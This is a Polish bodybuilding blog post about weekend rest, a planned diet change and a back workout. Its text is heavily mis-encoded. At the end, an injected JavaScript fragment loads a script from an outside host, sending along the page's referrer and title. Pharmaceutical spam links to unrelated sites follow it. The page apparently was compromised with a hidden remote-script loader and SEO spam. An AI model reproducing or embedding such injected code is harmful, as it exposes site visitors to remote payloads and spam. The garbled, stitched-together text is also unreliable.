Weekendowy odpoczynek

29.07.2012 / Michał Karmowski / Kulturystyka

Po caAi??ym tygodniu ciAi??A?kich treningA?w przyszedAi?? czas na weekendowy odpoczynek…., byAi??a plaA?a , steki, a takA?e owocowe drinki w „Hainekenie”:-) . Jutro rano po Ai??niadaniu idAi?? trenowaAi?? klatkAi?? i barki. Wprowadzam takA?e modyfikacje w diecie tzn, obetnAi?? trochAi?? wAi??gli na rzecz tAi??uszczu poniewaA? przez najbliA?sze dwa tygodnie bAi??dAi?? budowaAi?? siAi??Ai?? a treningi mimo zakresu powtA?rzeAi?? 6-8 bAi??dAi?? krA?tkie i mniej objAi??toAi??ciowe jak byAi??o do tej pory.Dlatego wAi??aAi??nie nie potrzebujAi?? tak duA?ych iloAi??ci wAi??gli jak do tej pory.

Sobotni trening plecA?w:

-Ai??ciAi??ganie drAi??A?ka gA?rnego wyciAi??gu do klatki chwyt szeroki

-Ai??ciAi??ganie uchwytA?w gA?rnego wyciAi??gu do mostka

-wiosAi??owanie gryfem

-wyprosty na Ai??awce rzymskiej

-Ai??cAi??aganie uchwytA?w do brzucha siedzAi??c

-tyAi?? barkA?w na maszynie pec-dec

-szrugsy ma maszynie smitha

„owocowe drinki”…s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; online viagra xm radio Purchase } else { http://admiral-muslim.mhs.narotama.ac.id/2018/02/02/cheap-minocin-iv/ Cheap http://afisenihusni.mhs.narotama.ac.id/2018/02/02/cost-of-claritin-d/ buy aldara cream south africa